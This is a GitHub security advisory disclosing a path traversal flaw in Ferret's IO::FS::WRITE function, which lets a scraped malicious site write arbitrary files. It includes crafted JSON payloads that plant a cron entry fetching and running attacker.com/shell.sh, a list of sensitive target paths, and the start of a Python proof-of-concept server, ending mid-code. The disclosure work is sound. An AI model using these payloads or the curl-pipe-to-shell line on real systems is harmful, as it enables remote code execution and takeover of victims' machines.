GitHub Security Advisory: GHSA-j6v5-g24h-vg4j
Package: github.com/MontFerret/ferret (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path
Vulnerable versions: <= 0.18.1
Patched in: unpatched

Summary: Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

Details:
## Summary

A path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

## Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

### Attack Flow

1. The attacker serves a JSON API with crafted filenames containing `../` traversal:

```json
[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
```

2. The victim runs a standard scraping script:

```fql
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }
```

3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`

4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory

5. The attacker achieves arbitrary file write with controlled content, leading to code execution.

### Realistic Targets

| Target Path | Impact |
|-------------|--------|
| `/etc/cron.d/<name>` | Command execution via cron |
| `~/.ssh/authorized_keys` | SSH access to the machine |
| `~/.bashrc` or `~/.profile` | Command execution on next login |
| `/var/www/html/<name>.php` | Web shell |
| Application config files | Credential theft, privilege escalation |

## Proof of Concept

### Files

Three files are provided in the `poc/` directory:

**`evil_server.py`** -- Malicious web server returning traversal payloads:

```python
"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]